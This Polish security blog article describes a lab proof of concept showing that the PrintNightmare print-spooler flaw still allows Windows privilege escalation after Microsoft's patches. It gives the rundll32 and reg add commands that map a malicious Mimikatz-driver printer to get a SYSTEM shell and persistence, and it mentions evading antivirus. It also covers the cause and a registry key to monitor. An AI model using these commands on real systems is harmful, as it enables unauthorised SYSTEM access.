Jeśli myślisz, że to koniec problemów związanych z odkrytą w zeszłym miesiącu podatnością PrintNightmare, to lepiej usiądź wygodnie i uważnie przeczytaj poniższy artykuł. Pokażemy, że Microsoft nadal nie poradził sobie z tym problemem i chyba się na to szybko nie zanosi. Oczywiście rozwiązanie tego kłopotu jest jedno, słuszne i najprostsze – „nie drukować” 🙂 Ale czy tak się da?
Im dalej w las….
No właśnie, tym więcej „drzew”, o które musimy bardziej zadbać, na przykład poprzez ograniczenie używania papieru w drukowaniu. W tym przypadku opisywana luka PrintNightmare stała się problemem dla IT, lecz okazała się przychylna dla środowiska naturalnego. Dlaczego? Ponieważ ma ogromny wpływ na bezpieczeństwo usługi „print spooler” na komputerach (usługa odpowiedzialna za drukowanie). Zabezpieczenie komputera, czyli wyłączenie tej usługi może skutkować problemem z drukowaniem. Nawet powstał o tym bardzo wymowny rysunek.
Oczywiście to sarkazm i wiadomo, że firmy nie mogą sobie pozwolić na to, aby nie móc drukować. Muszą jednak bardziej zabezpieczyć systemy, aby nie stać się wrażliwe na atak.
Jedna z najciekawszych podatności Windows – PrintNightmare
W sieci zawrzało wśród specjalistów z branży cybersecurity, gdy wszyscy dowiedzieliśmy się, że można wykonać lokalną eskalację uprawnień na koncie standardowego użytkownika do SYSTEM na dowolnym systemie Windows. Warunek był jeden – podatna i działająca usługa Print Spooler (bufor wydruku). Po tym incydencie wszyscy administratorzy w firmach zaczęli wyłączać usługi na kontrolerach domeny i innych serwerach, które miały ją włączoną. Część z usług musiała zostać, bo przecież trzeba w firmie drukować. Więc zaczęło się odpowiednie jej zabezpieczanie. Na początku Microsoft chciał sobie szybko poradzić z problemem wypuszczając stosowne łatki i porady jak się chronić. Ale chyba nie do końca mu z tym wychodziło albo nie tak jakbyśmy tego chcieli (polecamy nasz drugi artykuł tutaj). W związku z zaistniałą sytuacją w sieci pojawiało się sporo memów, zabawnych grafik i żartów związanych z problemem i ciągłą próbą jego naprawy. Nikt tak naprawdę do końca nie wiedział, czy problem już został zażegnany w łatkach, czy nie. Grono specjalistów z branży cybersecurity zaczęło ponownie testować i odkrywać kolejne luki. Im dalej w las tym więcej… no właśnie – problemów.
Pamiętajmy, że badacze bezpieczeństwa nie próżnują i ciągle wynajdują nowe sposoby na obejście zabezpieczeń. Jedno z takich obejść zaprezentujemy poniżej oraz wykonamy PoC ataku, który udowadnia, że problem nadal istnieje. Zobaczmy jak to wszystko działa.
Scenariusz eskalacji uprawnień na Windows
W celu przygotowania ataku potrzebujemy serwer lub stację roboczą z systemem operacyjnym Windows oraz jeden komputer kliencki Windows 10, na którym wykonamy eskalację uprawnień. Potrzebujemy także specjalnie przygotowany do tego sterownik dla naszej wirtualnej drukarki zainstalowanej w systemie, który będzie uruchamiał powłokę linii komend na uprawnieniach SYSTEM na komputerze klienckim, w momencie podpinania się (mapowania) naszej fikcyjnej drukarki.
Krok 1. Przygotowanie i zainstalowanie wirtualnej drukarki
Instalację drukarki na Windows możemy przeprowadzić ręcznie lub skorzystać ze skryptu w PowerShell przygotowanego przez Benjamina Delpy. Wykonanie skryptu będzie dużo prostsze i szybsze.
Cały skrypt możecie pobrać z tego adresu.
My wykonaliśmy jego lekką modyfikację, aby pasował do warunków naszego środowiska testowego. Zmieniliśmy nazwę drukarki oraz adresy, dodaliśmy jedną instrukcje dla TLS, ponieważ funkcja Invoke-WebRequest w skrypcie zwracała nam błąd.
Skrypt pobiera ze strony Benjamina paczkę zip ze specjalną wersją Mimikatz, z której tak naprawdę interesuje nas jedna biblioteka o nazwie „mimispool.dll”.
Dla zainteresowanych Benjamin udostępnił jej kod źródłowy w języku programowania C, więc można ją dostosować do własnych potrzeb i skompilować, aby ewentualne próbować obejść antywirusa.
W naszym lab nie wykonywaliśmy jej obfuskacji – poszliśmy na przysłowiową „łatwiznę” i wyłączyliśmy w systemie usługę Defender.
Po zainstalowaniu z sukcesem drukarki i opublikowaniu jej na komputerze atakującego pod nazwą „Kapitan Hack Malicious Printer” możemy przejść do kroku nr 2.
Krok 2. Mapowanie drukarki i wykonanie zdalnego wykonania kodu
W tym kroku będziemy chcieli na zaktualizowanym Windows 10 wykonać podpięcie do współdzielonej drukarki z kroku 1. Całą operację wykonujemy na zwykłych uprawnieniach użytkownika kapitanhack.pl
Operacje rejestracji drukarki możemy wykonać na dwa sposoby:
Sposób A) Zarejestrowanie drukarki zdalnej za pomocą rundll32.exe
rundll32 printui,PrintUIEntry /ga /n \\srv.kapitan.hack\Kapitan Hack Malicious Printer
Wynik uruchomienia powyższego polecenia to oczywiście podpięta do system zdalna wirtualna (złośliwa) drukarka:
Dodatkowo jako bonus dostaniemy wiersz linii poleceń na uprawnieniach SYSTEM.
Sposób B) Dodanie wpisu w rejestrze systemowym z odpowiednią wartością klucza
reg add “HKCU\Printers\Connections\,,srv.kapitan.hack,Kapitan Hack Malicious Printer” /f /v Provider /t REG_SZ /d win32spl.dll
Wynik uruchomienia powyższego polecenia to oczywiście podpięta do system zdalna wirtualna (złośliwa) drukarka:
Ta metoda również wykonywana jest na standardowych poświadczeniach użytkownika, gdyż ma o wymagane prawa zapisu do klucza „HKCU\Printers\Connections”.
Jednak w sposobie „B” trzeba wykonać jeszcze jedną konieczną aktywność – restart komputera lub restart usługi spooler. Po tym nowa wirtualna drukarka pokaże się w momencie zalogowania do profilu użytkownika oraz zostanie uruchomiony wiersz poleceń na użytkowniku SYSTEM.
UWAGA! Za pomocą powyższych 2 metod możemy utworzyć trwały implant na serwerze lub udostępnionym pulpicie zdalnym bez konieczności samodzielnego uruchamiania kodu.
Dlaczego tak się dzieje i co z tym możemy zrobić?
Powodem tego, że zwykły użytkownik może zarejestrować drukarkę (podpiąć ją) na swoim systemie Windows jest pewne domyślne ustawienie uprawnień na serwerze wydruku (usłudze Print Spooler).
Chodzi oczywiście o nadane uprawnienie ACL “Manage server” dla tożsamości INTERACTIVE.
Podsumowanie
Opisywany problem- Printnightmare jest na pewno dużym wyzwaniem i problemem dla firm, ponieważ standardowy użytkownik może wymusić globalne ustawienie instalacji drukarki.
Wyłączenie na wszystkich komputerach usługi Print Spooler nie jest dobrym rozwiązaniem, bo przecież musimy drukować. Należy oczywiście ją odpowiednio zabezpieczyć, nie tylko stosując łatki Microsoft, ale wykonując pewne modyfikacje na systemie, o których pisaliśmy w poprzednich artykułach. W przypadku opisywanego problemu warto dodać do dobrych praktyk monitorowanie wartości klucza rejestru systemowego w ścieżce:
„HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Connections”
Warto też zastosować porady z tego bloga.